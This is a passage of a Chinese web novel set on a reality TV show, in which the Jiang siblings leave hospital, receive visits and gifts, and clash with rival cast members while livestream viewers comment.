他顿了顿,语气似乎染上了几分委屈和不甘,“而且,我们证据确凿,不是吗?那些手稿的备份日期都标示得清清楚楚,我才是最初的创作者!江砚舟用我的创作成名,欺骗观众这么久,我只是想讨个公道而已……难道就因为他们在医院,我就活该继续沉默吗?” 经纪人听着暨明旭条理清晰的分析,又被他话语里的委屈和无奈触动,原本坚决反对的态度渐渐动摇了。 他想暨明旭这些年似乎确实不容易,如果真如他所说手稿是铁证,那江砚舟的行为也确实是踩了行业红线……作为经纪人,似乎更应该支持自己艺人的正当维权。 他叹了口气,语气软了下来:“唉,你说得也有道理。既然证据在我们手里,早晚都要发……那你把握好分寸,别弄得太刻意,尽量引导大家关注事件本身,别过度人身攻击。” * 另一边,季宁深正被自家小外甥女疯狂用电话手表轰炸。 季念念在童话小屋里待了几天,非要闹着过来陪护病人。季宁深当然不能让她过来,这小家伙闹腾得要命,让她过来怕是要把病房也给拆了。 他把手机调成静音,那边季念念就锲而不舍,改发信息。放在口袋的手机隔几秒就震动一次,连处理工作的江知雾都忍不住抬眼:“不接吗?万一有急事。” 季宁深看着手机屏幕上季念念小朋友的连环呼叫,感觉自己的太阳穴突突直跳。他走到病房外相对安静的角落,接起电话。 “舅舅舅舅舅舅!”那头传来小家伙元气十足又迫不及待的声音,“江姐姐和臭脸哥哥好点了吗?念念想去看他们!念念有乖乖听工作人员的话,好好吃饭!” 季宁深捏了捏眉心,试图讲道理:“念念,医院不是游乐场,病人需要休息。” “念念知道!念念会很乖的!”季念念疯狂撒娇,“舅舅你人最好了~就让我过来嘛……” 季宁深被磨得没办法。他叹了口气,妥协道:“让你过来可以,但是我们必须约法三章。” “好!我肯定做到!”季念念小脸严肃地板着,答应得干脆。 季宁深清了清嗓子,开始逐条罗列:“第一,进了病房不许乱碰医疗器械,尤其是包括输液架、按钮、线缆、瓶子管子;第二,不许在病房里大声喧哗、跑跳、追逐打闹;第三,不许缠着大家没完没了地问问题,也不许碰别人的伤口;第四,不许带任何可能制造麻烦的玩具进去;第五,待的时间不能太长,我说走就必须走;第六……” 季宁深一条接一条地往下说,电话那头的季念念小脑袋瓜听得嗡嗡的,忍不住小声打断:“舅舅……这个‘约法三章’……怎么这么长啊?” 季宁深面不改色:“这是精简版了。能做到吗?做不到你还是老老实实原地呆着。” “能能能!念念能做到!”季念念生怕舅舅反悔,赶紧应承下来。 好不容易等舅舅念完“经”,季念念两只眼睛仿佛都变成了蚊香圈圈,晕晕乎乎被舅舅接到了病房门口。 进门之前,季宁深还不放心地低头看了她一眼,小家伙立刻挺直腰板,努力做出最乖巧最认真的表情。 季宁深把小家伙带过来是经过了姐弟俩同意的,推开病房门时,江知雾柔声朝她招招手: “念念来啦。” 季念念小朋友今天穿了一条格纹小连衣裙,头发梳得整整齐齐,甚至还别了一个小巧文静的发卡。 她先是探进一个小脑袋,黑白分明的大眼睛小心翼翼地扫视了一圈,然后才轻手轻脚地走进来。 这过于端庄的开场,让原本懒散靠在床头玩手机的江砚舟高高挑起眉毛,用一种打量外星生物的眼神盯着她。 “江姐姐~”季念念先是软软地叫了一声,走到江知雾身边,伸出小手极其轻柔地抱了抱她的胳膊,小脸贴上去蹭了蹭,声音甜甜的,“江姐姐,我听说你受伤了,特意来看看你。你疼不疼呀?” 江知雾被她这副小大人的模样逗笑,伸手揉了揉她的头顶:“谢谢念念,姐姐不疼。念念这么乖,姐姐看到你就更开心了。” 季念念得到夸奖,小脸上露出腼腆的笑容,又转过身看向江砚舟。 以往她总爱咋咋呼呼地喊“臭脸哥哥”,此刻却在病床边规规矩矩地站好,脆生生地说:“砚舟哥哥,祝你早日痊愈,快点好起来。” 江砚舟:“……” 真是见鬼了。 这还是那个一见他就做鬼脸、天天跟他斗嘴的季念念? 他下意识就想嘴欠两句,试探一下:“哟,今天太阳打西边出来了?还是你终于意识到我的帅气与伟大了?” 若是平时,季念念早就跳起来反驳了。 但今天,她只是微微歪了歪头,像个接受过良好教育的小淑女,语气平和甚至带着点包容:“哥哥受伤了,要保持心情愉快。哥哥确实很帅哦。” “?” 江砚舟被这反常的礼貌噎得一句话都说不出来,只能干瞪着眼。 接下来的时间,季念念简直成了“模范儿童”的代名词。她自己爬到 离病床稍远一点的椅子上端端正正坐好,两只小脚并拢,小手放在膝盖上,不吵不闹,也不东张西望,就安安静静地看着大人们。 期间护士进来换药,她好奇地多看两眼,但立刻想起什么,马上把视线收回来,一副“我什么都没看到,我绝对不乱看”的乖宝宝模样。 江砚舟几次三番试图用眼神或小声嘀咕挑衅,季念念都仿佛没接收到信号,要么回以无辜的注视,要么就给他一个标准露齿笑,笑得江砚舟心里直发毛。 直到季宁深看了眼时间,起身表示该走了。 季念念立刻听话地滑下椅子,再次走到江知雾身边,轻轻抱了抱:“江姐姐再见,念念下次再来看你。” 然后转向依旧处于懵逼状态的江砚舟,居然还像模像样地行了一个略显笨拙但十分认真的淑女礼,小手拉着裙摆两侧,“砚舟哥哥再见,要好好休息哦。” 说完,才把手递给季宁深,乖乖地被牵着离开。 病房门轻轻合上。 足足安静了十几秒。 江砚舟才缓缓转过头,看向江知雾,脸上是一种混合了震惊、困惑和惊悚的魔幻表情,他抬起没受伤的手指了指门口:“……姐,你看见没?那小家伙的脑袋是不是被门夹了?” 江知雾闻言,忍不住瞪了他一眼,嗔怪道:“怎么说话呢?念念一直都这么乖啊。” 江砚舟:“……” 不,她只有面对你的时候才那么乖。 季念念牵着舅舅的手,一路维持着那副乖巧文静的模样,直到被安全送回到童话小屋。 季宁深蹲下身,难得语气温和地夸奖她:“今天表现得很好,值得表扬。” 小家伙被舅舅这么一夸,小脸上忍不住露出一丝得意的表情,但依旧努力绷着,只是眼睛弯成了月牙形状。 然而,这份刻意维持的“文静”在她瞥见不远处的人时,瞬间消失得无影无踪。 季念念的小脸一下子板了起来,肉乎乎的手指猛地指向那个方向:“舅舅!快看!是那个让隧道塌掉的坏阿姨!” 季宁深顺着她指的方向望去。 只见黄芷禾正从一辆价值不菲的劳斯莱斯幻影上下来,她似乎还在跟车里的人说着什么,脸上带着一丝刻意的讨好笑容。 季宁深的目光在那辆车的车牌号码上短暂停留,若有所思地挑了挑眉。 “自作孽。” 他意味深长地吐出三个字,收回目光,牵起还在生闷气的季念念。 “走吧,我们回去了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 45-50 第46章 休整了一周后,《推开家门是你》综艺在无数关注和议论中,终于重新启动了录制。 直播信号刚一接通,早已守候多时的网友们立刻涌了进来,都想看看江砚舟的情况。 然而,最先闯入大家耳朵的,不是问候也不是寒暄,而是一阵有气无力的、持续不断的—— “咕噜噜……咕噜噜噜……” 弹幕瞬间飘过一片问号。 【???什么鬼动静?】 【我耳机坏了?怎么有开水壶开了的动静?】 【不对,这好像是……人发出的声音?】 就在网友们满屏问号时,镜头终于聚焦。 只见江砚舟穿着宽松的病号服,整个人呈“大”字瘫在床上,没受伤的那只手正百无聊赖地抓着枕头边的毛绒玩具扔来扔去。 他脑袋歪在枕头上,眼神放空,嘴里还同步循环着碎碎念:“好无聊啊——好无聊好无聊——” 网友们:“……” 很好,这么生龙活虎,那他们就放心了。 弹幕里的担忧瞬间变成调侃,镜头悄悄一转,给到了病房另一侧的江知雾。 她坐在靠窗的小桌前,面前摆着一个透明玻璃瓶,手里正拿着几支新鲜的雏菊和小苍兰修剪枝叶。 原本单调的白色病房,因为这瓶渐渐成型的插花,多了几分雅致的诗意。 “姐,再躺下去,我整个人都要长蘑菇了。”江砚舟的声音从背后传来,带着几分没精神的抱怨,“该不会接下来的综艺,我都要在这张床上跟大家大眼瞪小眼吧。” 江知雾没回头,只是手上的动作不停,语气带着淡淡的笑意:“别急,我问过医生,今天就能办出院手续了。” 江砚舟一下来了精神,一个鲤鱼打挺坐直身体:“真的吗??” 他话音刚落,病房门突然被轻轻敲响,三下节奏均匀,带着几分礼貌的分寸感。 江知雾放下手中的花枝,笑着说了声:“请进”。 门被推开,季宁深的身影出现在门口。 他穿着一身浅灰色的休闲装,手里拎着一大袋水果,脸上带着惯有的温和笑容,语气轻快地打招呼:“早上好。” 江砚舟皱着眉,语气不善:“你怎么又来了?这病房是你家开的?” 江知雾放下手中的花,语气自然地说:“是我叫宁深过来的。”她看向瞬间垮下脸的弟弟,解释道,“这几天宁深帮了我们不少忙,我想着中午请他吃顿便饭,表达一下感谢。” 季宁深仿佛没看到江砚舟的黑脸,笑着走进来,将水果放在桌上:“一点心意。恭喜出院,看来恢复得不错。” 江砚舟哼了一声,把脸扭向另一边,用后脑勺表达着“小爷我不待见你”的强烈情绪。 江知雾对弟弟的幼稚行为习以为常,对季宁深抱歉地笑了笑:“别理他,这段时间麻烦你太多回了,一顿饭实在不足以表达谢意。” “知雾姐姐太客气了,举手之劳。”季宁深目光扫过她插好的小苍兰,微笑道,“花很漂亮。” “谢谢。”江知雾浅浅一笑。 看到姐姐跟季宁深对话,江砚舟也不满床打滚了,也不喊无聊了,双目炯炯有神,警惕地盯着他们俩。 直播间的弹幕全是调侃: 【您已进入一级戒备状态。】 【谁懂啊,我要被他这个警惕的小眼神给逗笑了。】 【姐弟俩差距也太大了,我江姐姐优雅安静,江砚舟却像返祖的猴。】 就在这时,江知雾放在桌上的手机突然震动起来。 她拿起一看,是负责帮忙办理出院手续的保镖打来的,按下接听键后,便听到电话那头传来清晰的声音:“江小姐,出院手续这边有些材料需要家属签字确认,您方便下来一趟吗?” 江知雾应了声“好,我马上过去”,挂断电话后,她看向病房里的两人:“手续那边有点事要我去处理,我先下楼一趟,你们俩在这等我会儿。” “姐,我跟你一起去!”江砚舟挣扎着想起床。 “你乖乖待着,刚恢复好别来回跑。”江知雾毫不留情地把他镇压了,又转头对季宁深温和地补充了一句,“麻烦你帮我照看他一下。” 季宁深点头应下:“放心吧。” 江知雾很快出了病房,原本还算热闹的房间瞬间安静下来,只剩下江砚舟和季宁深两人。 江砚舟坐也不是躺也不是,手指无意识地抠着病号服的衣角,眼睛看天看地,就是不看季宁深。 季宁深却像是完全没感受到这尴尬的气氛,神态自若地走到窗边,欣赏江知雾插好的那瓶花,甚至还拿出手机,找了个角度,认真地拍了一张照片。 江砚舟:“……” 更不爽了!这人怎么这么自在?当自己家吗? 他憋着一股气,正想找点茬,病房门又被敲响了。 这次进来的是负责江砚舟的主治医生和一位护士,来进行出院前的最后一次查房和叮嘱。 医生仔细检查了江砚舟伤口愈合的情况,又翻看了一下病历,然后开始滔滔不绝地交代注意事项:“出院后伤口暂时还不能碰水,定期回来换药。饮食要清淡,忌辛辣刺激,海鲜和发物最近也不要吃。手臂不要提重物,避免二次拉伤。还有……” 医生说了一长串,语速不慢,条款还多。 江砚舟一开始还“嗯嗯啊啊”地听着,听到后面就开始有点走神,脑子里已经开始盘算出去后要先喝哪家的奶茶、吃哪家的火锅了,根本没往心里去。 反倒是季宁深听得极为认真,不仅时不时点头,还在医生停顿的时候,轻声补充确认:“医生,伤口换药是用您上次开的那款药膏对吗?复查需要提前预约吗?” 医生满意地点点头:“对,就是那款药膏,复查不用预约,直接过来就行。” 在医生叮嘱完离开时,季宁深还主动起身送他们到门口,礼貌地说了句“谢谢医生”。 这一幕落在江砚舟眼里,他心里的不爽更甚,等季宁深走回来,他立刻没好气地开口:“喂,季宁深,你差不多得了。你跟我也就差不多大,别一副我家长的做派行不行?医生说的话我都记住了,用不着你操心。” 季宁深挑了挑眉,语气平静地反问:“哦?那你重复一遍医生刚才说的注意事项。” 江砚舟瞬间卡壳,刚才医生说的时候他光顾着走神了,现在脑子里一片空白,支支吾吾了半天,只憋出一句:“就……就注意休息,不能剧烈运动啊。” “还有呢?”季宁深追问。 他脸上一阵红一阵白,梗着脖子强撑:“我、我干嘛要告诉你?反正我自己知道就行!” 看到他这副模样,季宁深也没再为难他,而是清晰地将医生刚才说的注意事项一字不差地重复了一遍,从伤口换药的细节到复查的时间,甚至连饮食上不能吃的几类食物都记得清清楚楚。 江砚舟:“……” 他彻底哑火了,像被掐住了脖子的公鸡,瞪着眼睛,一句话也说不出来,整个人都蔫了下去。 恰好这时,江知雾办完手续回来了。 她推开病房门,一眼就看到自己的弟弟瘫坐在床上,耷拉着脑袋,鼓着腮帮子,整个人散发着浓浓的、挫败的郁闷气息,活像阴暗受潮的小蘑菇。 而季宁深则气定神闲地站在窗边,仿佛什么都没发生过。 江知雾疑惑地眨了眨眼:“怎么了这是?我才下去一会儿。” 江砚舟眼神躲闪了一下,下意识看向旁边的季宁深。 他总不能当着姐姐的面承认,自己刚才走神没记住医嘱,还被季宁深狠狠碾压了智商吧?那也太丢人了! 他眼神闪烁地胡扯道:“没事,我就是……就是突然觉得这病房住久了,有点感情了,一想到要走,心里有点舍不得。” 话音刚落,上帝视角的观众们又是一片哈哈哈: 【???舍不得病房?江砚舟你要不要听听自己在说什么?】 【哈哈哈哈哈整个屋子就属老弟你的嘴最硬。】 江知雾显然也没信这鬼话,她没好气地走到床边,屈起手指,精准地在他额头上弹了一个清脆的脑瓜崩:“少来,我还不知道你?肯定是又闹什么幺蛾子了。赶紧起来换衣服,准备去吃饭。” “嗷!”江砚舟捂着额头,敢怒不敢言,委委屈屈地爬起来找衣服。 …… 餐厅是江知雾提前订好的一家私密性不错的粤菜馆,环境清雅。 落座时,江砚舟眼睛一扫那卡座布局,生怕姐姐坐到季宁深的旁边。 于是,他先一个箭步冲过去,抢先一屁股坐下,还故作自然地拍了拍自己另一边空位:“姐,你坐这儿!” 江知雾没多想,笑着坐了过去。 季宁深则在服务生的引导下,拉开江知雾对面的椅子,作势要入座。 江砚舟一看这还得了?姐姐坐在这人正对面,岂不是一抬头就能眉来眼去?! 他瞬间坐不住了,又拉了拉江知雾的袖子:“姐,我突然觉得窗边有点风,你跟我换个位置呗?你坐里面,我坐窗边挡风。” 江知雾愣了一下,还是顺着他的意站起来:“行,换就换。” 可等两人换完位置,江砚舟看着眼前的场景,又不太自在了—— 现在变成季宁深坐在他对面,抬头夹个菜都能看到对方那张斯文败类式的脸,怎么坐怎么别扭。 他咬了咬下唇,心里又冒出新念头:要不他坐到季宁深旁边去?这样既不用跟季宁深两两相望,还能把更多空间留给江知雾。 他立马又想作妖,屁股刚抬起一半时,江知雾仿佛看穿了他的心思,菜单“啪”地一声轻放在他面前。 “江砚舟,你今天跟座位较上劲了是吧?要么现在乖乖坐好,要么回去喝白粥。” 江砚舟彻底老实了。 他瘪着嘴,委委屈屈地固定在季宁深对面的座位上,时不时用哀怨的眼神瞟一眼姐姐。 弹幕已经笑疯了: 【他真的好努力地在隔开季宁深和姐姐,怜爱他一秒。】 【我就说他干嘛跟屁股长钉子似的不安分。】 【哈哈哈哈哈季宁深全程静静地看着他作妖,笑死我了!】 与此同时,童话小屋。 为了迎接江家姐弟的归来,李柏、李乐乐、宿姚和季念念正帮忙打扫他们俩的房间。 李柏兄妹俩负责擦落灰的桌面,宿姚则拿着吸尘器高效地清理着角落的灰尘,季念念忙着把院落里新鲜的野花插到了玻璃摆件中。 画面温馨又充满活力,直播间的观众也在为他们的友情感动。 江汀从门外经过,看到里面的热闹景象,脚步顿了一下。 他似乎是犹豫了片刻,然后挽起袖子,很自然地走了进去:“需要帮忙吗?” “你来得正好!”李乐乐一点也不客气,“帮忙把那个柜子顶上擦一下吧,我哥那个矮冬瓜够不着。” “喂,不带人身攻击的啊。”李柏不满地抗议。 江汀笑了笑,长臂一伸,轻松地接过抹布:“好。” 他的加入让打扫效率更高了,大家忙碌但有序地劳动着,气氛融洽。 这一幕,恰好被站在走廊拐角的黄芷禾看在眼里。 她最近消瘦了很多,脸色也有些苍白,原本还算漂亮的眼睛里盛满了挥之不去的疲惫和一丝不易察觉的怨怼。 黄芷禾自问为了江汀付出了那么多,甚至可以称得上一句体贴入微,可对方却从来视而不见。 一种酸涩和委屈几乎要冲破胸腔,她有些难以接受这种落差。 黄芷禾的粉丝立刻心疼坏了: 【芷禾最近状态好差,是不是没休息好?】 【江汀也太冷血了,为什么都不过来关心一下姐姐。】 【粉丝又开始了是吧,她状态差不是自己作出来的?怪得了谁?】 【没想到黄芷禾还有脑残粉为她说话呢。】 就在这种微妙的氛围中,暨明旭也晃悠了过来。 他一点也不想打扫卫生,但游手好闲又有些显眼,干脆随口跟黄芷禾打个招呼。 “芷禾,刚起吗?你脸色看起来不太好。” 黄芷禾回过神,看到是暨明旭,勉强扯出一个笑容:“可能最近没休息好。” 暨明旭“哦”了一声,没再追问。 他现在可并不想跟黄芷禾有过多牵扯。这段时间黄芷禾身上的负面消息就没断过,他可不想被贴上“跟黄芷禾关系好”的标签,影响自己的路人缘。 暨明旭的目光不自觉地飘向房间里的宿姚。 宿姚刚好转身拿清洁剂,两人的视线在空中短暂交汇,宿姚却只是淡淡地移开了目光,连个点头的动作都没有。 暨明旭心里顿时泛起一阵不爽。他跟宿姚虽然是队友,但私下里关系一直一般,之前还能维持表面的和睦,可这段时间,宿姚对他的态度明显冷淡了很多。 “果然是塑料队友,”暨明旭在心里暗暗吐槽,“平时看着挺和气,真有事的时候,压根靠不住。” 他越想越觉得没意思,跟黄芷禾又没什么话好说,干脆摆了摆手:“那我先去院子里转一圈,你既然没休息好,还是去睡个回笼觉吧。” 说完,他不等黄芷禾回应,就转身朝着庭院走去,留下黄芷禾一个人站在原地。 黄芷禾当然能听出暨明旭语气里的疏离,心里更不是滋味。 下午的时候,江知雾和江砚舟终于回到了童话小屋。 车门打开,江砚 舟先跳了下来,手臂上还打着显眼的石膏,但精神头十足,像只出笼的鸟儿。江知雾随后下车,季宁深则自然地绕到后备箱,帮她拿出那个轻便的行李袋。 “江姐姐!你们回来啦!”季念念第一个冲出来,小脸洋溢着灿烂的笑容。 李柏、宿姚和季念念也紧跟着迎了出来,脸上都带着真挚的欢迎。就连江汀,也站在稍后一点的地方,对着江知雾微微颔首示意。 众人围拢过来,七嘴八舌地问候着,气氛热烈又欢快。 唯有暨明旭,双手插兜靠在门廊的柱子上,只是远远瞥了一眼江砚舟的手,嘴角撇了撇,丝毫没有上前的意思。 不过江砚舟压根也没分给他半点注意力。 黄芷禾慢吞吞地从屋里走出来,她站在人群稍外围的地方,目光却不由自主地钉在忙前忙后的季宁深身上。 她最近跟了华耀传媒的老总刘世昌,隐隐约约从对方口中知道季宁深的身份绝对没有表面这么简单。 这样一个背景深不可测、连刘世昌都敬畏有加的人,为什么会对江知雾这样殷勤备至? “砚舟,你这手现在感觉怎么样?医生没说还要养多久吧?”李柏的声音打断了黄芷禾的思绪。 他凑到江砚舟身边,小心翼翼地看了眼对方的手臂,语气里满是关切。 江知雾笑着代为回答:“好多了,医生说恢复得比预期快,只要别提重物、按时换药,再过半个月差不多就能正常活动了。” “是吗?那可太好了!”李柏刚要再说些什么,就被人先一步插话了。 黄芷禾扯出一个假笑,声音不高不低:“幸好是没什么大事了。不过医院离这里也不算远,怎么还得劳烦季老师亲自去接呢?” “黄小姐似乎对我的时间安排很感兴趣?”季宁深淡淡地说,“他们是我的朋友,接朋友出院也称得上‘劳烦’吗?” 江砚舟难得跟他统一战线:“算了算了,可能黄老师没有朋友,所以不懂朋友之间的羁绊。” 江知雾差点被逗笑。 弹幕也好不到哪里去,齐刷刷飞过一排“哈哈哈”: 【哈哈哈哈哈哈黄芷禾这波属于自取其辱了!】 【她真的好酸啊,隔着屏幕都闻到醋味了。】 【没有朋友所以不懂羁绊……江砚舟你是懂怎么扎心的哈哈哈!】 江砚舟怼完白莲神清气爽,拉着姐姐一起上去放行李。 两人一前一后走上楼,推开房门的一瞬间,都微微愣了一下。 只见房间里窗明几净,地板光洁,原本因为一周没人住而可能积下的薄灰消失无踪,桌面物品被归置得整整齐齐,连窗帘都被拉开,午后的阳光暖融融地洒进来,空气中弥漫着淡淡的、清新的洗涤剂香味。 江知雾忍不住道:“这也太干净了吧。” 她话音刚落,李乐乐就笑嘻嘻地邀功:“怎么样江姐姐?我们可是打扫了一上午呢!” 江知雾眼底带着笑意:“辛苦你们了,还特意帮我们打扫。” 江砚舟推开自己的房门,发现被擦得干干净净的桌面上,还堆着一沓厚厚的信封,粉的、蓝的、印着小太阳图案的,花花绿绿摆了半张桌子。 “这些是……”他有些疑惑地拿起最上面那封信。 “都是你的粉丝寄到节目组,拜托我们转交的呀!”李乐乐声音雀跃,“听说你受伤了,大家都很担心你,这些都是给你的慰问和祝福!” 江砚舟愣了一下,随即低下头,手指有些笨拙地解开丝带,拿起最上面一封印着小猫爪印的信封。 他抽出信纸,展开。 开头的“砚舟哥哥”四个字写得工工整整,后面跟着一大段话,字迹能看出书写人的年纪不大,语气稚嫩却真诚,叮嘱他要好好吃饭、按时吃药,快点好起来,还说会永远支持他。 他又拿起另一封,这封的字迹更娟秀些,内容除了关心,还画了一个简笔的、打着石膏却依旧笑出一口白牙的小人,旁边写着“加油!”。 江砚舟一封一封地读下去,嘴角不受控制地越翘越高,几乎要咧到耳根。 偏偏他还要故作镇定地清了清嗓子,用一种极其凡尔赛的语气抱怨:“唉,真是的!不就一点小伤,你们这么兴师动众的干嘛呀?也不嫌麻烦。” 最了解自己弟弟的江知雾忍不住戳穿他:“既然觉得兴师动众,怎么把每封信都看得这么认真?你明明就是很喜欢大家的心意吧。” “姐!”江砚舟的耳朵瞬间红了,跳着脚小声道,“你怎么还拆我台啊!” 他干咳一声,转身从书架上抽出一本厚厚的硬壳书,小心翼翼地把拆好的信纸一张一张铺平,按顺序夹进书页里,连边角都仔细捋了好几遍。 舟粉们早习惯了他口嫌体正直的样子,纷纷嘲笑: 【真是天塌下来有你的嘴顶着!江姐姐请多多拆台!(双手合十)】 【小江同学你嘴角都快飞上天了就别装啦!明明开心得要命好吗。】 【心软软,他真的好爱他的粉丝,这种双向奔赴太戳我了……】 第47章 江砚舟还在笨拙又珍重地将信件一一夹入书中,门口围观的众人脸上都带着善意的笑容。 李乐乐叽叽喳喳地讲述着他们如何分工打扫,季念念举着小手说,信件是她特意按颜色分类的。季宁深欣赏着江砚舟手忙脚乱夹信纸的样子,饶有兴致。 房门口充满了欢声笑语。 而这份热闹,恰恰将不远处走廊阴影里的黄芷禾衬托得更加形单影只。 她背靠着冰凉的墙壁,看着那边众星捧月般的江家姐弟,咬了咬下唇。 为什么? 为什么所有人都围着他们转? 明明她也很努力,明明她之前也得到了那么多喜爱和关注,可现在,那些目光似乎都转移了。 委屈和不甘冲上鼻腔,黄芷禾的眼圈迅速泛红,眼前热闹的景象变得模糊起来。 她慌忙低下头,不想让人看见自己失态的样子,尤其不想让那些此刻正开心的人看见。 就在这时,她的余光瞥见了一个熟悉的身影正略显迟疑地靠近。 江汀的脚步很慢,眉头微蹙,脸上没什么表情,但紧抿的唇线泄露了他内心的不情愿。 他昨天接到了江明启的电话,电话那头的命令言犹在耳:“你姐在节目里需要人帮衬,你多配合着点,别总一副置身事外的样子。”对方顿了顿,又抛出最狠的筹码,“你那个农学项目,后续的资金审批还在我手里,想让它黄,你就继续摆臭脸。” 那个项目是导师和他们的心血所在,若能成功,对偏远地区的农业改善意义重大。江明启的威胁精准地掐住了他的命门。 他深吸一口气,压下心底翻涌的不适,最终还是走到了黄芷禾面前。 “……你还好吗?”江汀语调平直地问。 黄芷禾愣了一下,像是没想到江汀会主动过来关心自己。 她吸了吸鼻子,没等江汀反应,就把头轻轻靠在了他的肩上:“小汀,姐姐没事。” 江汀皱了皱眉。 他能闻到黄芷禾头发上淡淡的香水味,那味道让他莫名烦躁,指尖都在无意识地蜷缩,好几次想抬手把人推开,可脑海里又闪过江明启的威胁,只能硬生生忍住。 黄芷禾的粉丝们憋屈了这么多天,眼看着自家正主被嘲讽、被冷落,此刻终于找到了宣泄口,弹幕立刻活跃起来: 【呜呜呜终于有人心疼我们芷禾了!江汀总算懂事了!】 【江汀这是终于理解姐姐的苦心了吧,之前的矛盾肯定都是误会。】 【emmmm……江汀这表情不像心疼,像被迫营业。】 有了弟弟的安慰和“理解”,黄芷禾深吸一口气,努力挤出一丝笑容,重新打起精神。 她拿着精心准备的昂贵慰问品,走向江知雾和江砚舟。 “江姐姐,砚舟,隧道的事情是我太不小心了。这些是我的一点心意,希望你们能收下,好好补补身体。”黄芷禾说着,将礼物递了过去。 礼盒的logo十分显眼,是一家以昂贵滋补品闻名的顶级店铺。 江知雾看了一眼,却没有伸手去接,而是冷冷地说:“不用了,你的好意我们心领了。” 黄芷禾举着礼盒的手僵在半空,脸上的笑容也变得勉强:“江姐姐,你别客气,这是我花了大价钱买的,你们就收下吧。” 江知雾眉头微皱:“你送的是燕窝和海鲜礼盒吧?” 黄芷禾愣了一下,显然没明白过来:“是、是的,店员说这些都是最好的滋补品……” “受伤或者有伤口的时候,忌食发物,这是基本常识。”江知雾语调平稳地说,“燕窝、海参这类东西,现在吃了,不利于伤口愈合,严重了可能还会引起炎症。你挑选的时候,没了解一下吗?” 场面瞬间安静下来。 黄芷禾有些尴尬,她确实只 考虑了礼物的价格和档次,根本没想那么多。 “我……我不知道,”黄芷禾慌忙解释,“我不太懂这些,我是让店里的店员帮我挑的……” 江知雾静静地看着她:“就算你不懂,既然是为了赔礼道歉,至少该多用点心吧,不然会让人觉得你很没诚意。” 黄芷禾答不上来。 她的眼圈迅速泛红,泪水在眼眶里打转,一副受了天大委屈、摇摇欲坠的模样。 不过对她颇有微词的网友都不怎么买账: 【就知道哭!除了哭还会干嘛?赔礼道歉都不用心,委屈给谁看啊!】 【抱走江姐姐,咱不惯这种臭毛病。】 【你们能不能不要对芷禾这么大恶意?她又不懂这些。江知雾说话也太重了点,无语。】 【好笑!不懂不能问吗?手机是用来干嘛的?上网搜一下‘受伤吃什么’很难?】 【黄芷禾的粉丝简直是群无脑的极端群体,什么都能甩锅。隧道里要不是江姐姐推开乐乐,就要出人命了!】 【石头没砸到他们身上不知道痛呗,反正黄芷禾不是蠢就是坏,群众的眼睛是雪亮的。】 江汀看着黄芷禾泫然欲泣的模样,眉头蹙得更紧。他懒得再多费口舌,径直绕过她,走向江知雾和江砚舟。 他从随身带着的、看起来有些旧的帆布包里拿出两个朴实无华的保温盒,递了过去,语调依旧没什么起伏,但内容却实在:“我问过相熟的医生,受了惊吓和皮外伤,饮食要温润平和。这是山药薏米粥,健脾安神;旁边小盒里是蒸好的百合南瓜,清心润肺。都是好消化、对伤口愈合有益的。” 江知雾眼神微缓,接了过来,声音也柔和了些:“有心了。” 这时,季念念也凑了过来。 她用小手捧着两个装饰着歪歪扭扭蝴蝶结的纸盒,说道:“这是我和舅舅一起做的巧克力,送给江姐姐和砚舟哥哥。” 江砚舟听到季宁深也掺和进了巧克力的制作过程,眼神中顿时带上了几许挑剔。 他把自己那份巧克力接过来,张嘴就想挑刺: “这卖相……” 深褐色的巧克力表面光滑如镜,竟找不出一丝气泡或刮痕。每一块的边缘都切割得干净利落,棱角分明,透着一种近乎工艺品的规整。 江砚舟的话临时拐弯,想从气味入手批判:“它闻起来……” 他刻意吸了吸鼻子,试图捕捉可可脂廉价或香精过量的证据。 然而飘入鼻腔的,只有浓郁纯正的可可醇香,隐约还夹杂着一丝高品质榛果的焦香,层次分明,恰到好处,绝非廉价货色。 江砚舟顿了顿,硬着头皮转折:“谁知道味道怎么样……” 他试着尝了一块,微苦的醇香率先蔓延,紧接着是丝滑绵密的细腻口感,其间夹杂的烤榛果碎还泛着香气,比店里卖的味道还扎实。 季念念仰着小脸,大眼睛眨呀眨:“好吃吗?” 众目睽睽之下,江砚舟极其不情愿地承认:“……还行。” 季宁深站在不远处,唇角勾起一抹极淡的的弧度,冲他挑了挑眉。 江砚舟:“……” 随即,李柏、李乐乐、宿姚也陆续送上了自己准备的小礼物。 宿姚的举动让一旁的暨明旭愣了一下,随即脸上闪过一丝微妙的不自在。好像所有人都默契地准备了礼物,唯独他被排除在外。 他看到宿姚那精心打包的礼盒,突然有了种被队友背叛、目睹对方去讨好别人的感觉。 于是,等宿姚送完礼物之后,暨明旭用半开玩笑的口吻道:“看来江姐姐和江前辈回来把你高兴坏了,居然连面具都忘了戴,不怕胎记吓到他们呀。” 他经常拿宿姚的胎记开玩笑,久而久之,在暨明旭的粉丝还有部分团粉眼里,这已然成了一个好玩的梗。 宿姚脾气好,对此也从来没有说过什么。 但江知雾却很严肃地纠正:“我说过了,这胎记很有个人特色,不丑,也不吓人。” 江砚舟更是抱臂冷嗤:“能被个胎记吓到,那人是该有多胆小啊。” “开个玩笑而已……”暨明旭一脸不以为意,他看向宿姚,指望着队友能替自己说一两句话。 但是宿姚深吸一口气,转过头,目光异常严肃地直视暨明旭,一字一句地说:“我也觉得我脸上的胎记没那么丑陋,请你以后,不要再拿它开玩笑了。” 他的声线有点颤抖,却很坚定。 暨明旭完全没料到他会当众如此直接地反驳,一时间竟不知道该怎么接话。 他的粉丝开始表达不满: 【江知雾江砚舟还有宿姚的反应那么大干嘛,这不是明显能听出来是开玩笑嘛。】 【对啊,如果对明旭的话有意见,完全可以私下提出来,干嘛非得在直播的时候说,真是塑料队友。】 【??楼上的,是暨明旭先在直播的时候取笑宿姚好吗。希望你被人拿外貌缺陷开玩笑的时候,也能毫不在意把它当成玩笑。】 【而且暨明旭这话说得本来就很没分寸感,拿人家胎记取乐很有意思吗?】 【宿粉终于看到哥哥正视自己的胎记了,好欣慰!】 导演眼看气氛有些凝滞,连忙拍了拍手,笑容满面地走上前来:“好啦好啦!既然大家都平平安安从医院回来,我就放心了!考虑到这期伤员太多,咱们就不安排什么体力活了,来唱唱咱们节目主题曲吧。” 李乐乐满脑袋问号:“咱这节目什么时候有主题曲了?” “昨天就有了。”导演干咳一声,“昨晚我熬夜自己写的。” 李乐乐瞪大了眼睛:“导演,您老人家还会写曲子呢?” “那当然!”导演得意地扬了扬下巴,傲娇地说,“我曾经也是在音乐学院进修过的好吗!而且请别人写曲得花钱,我自己编一首半毛钱不花,多划算。” 李乐乐:“……” 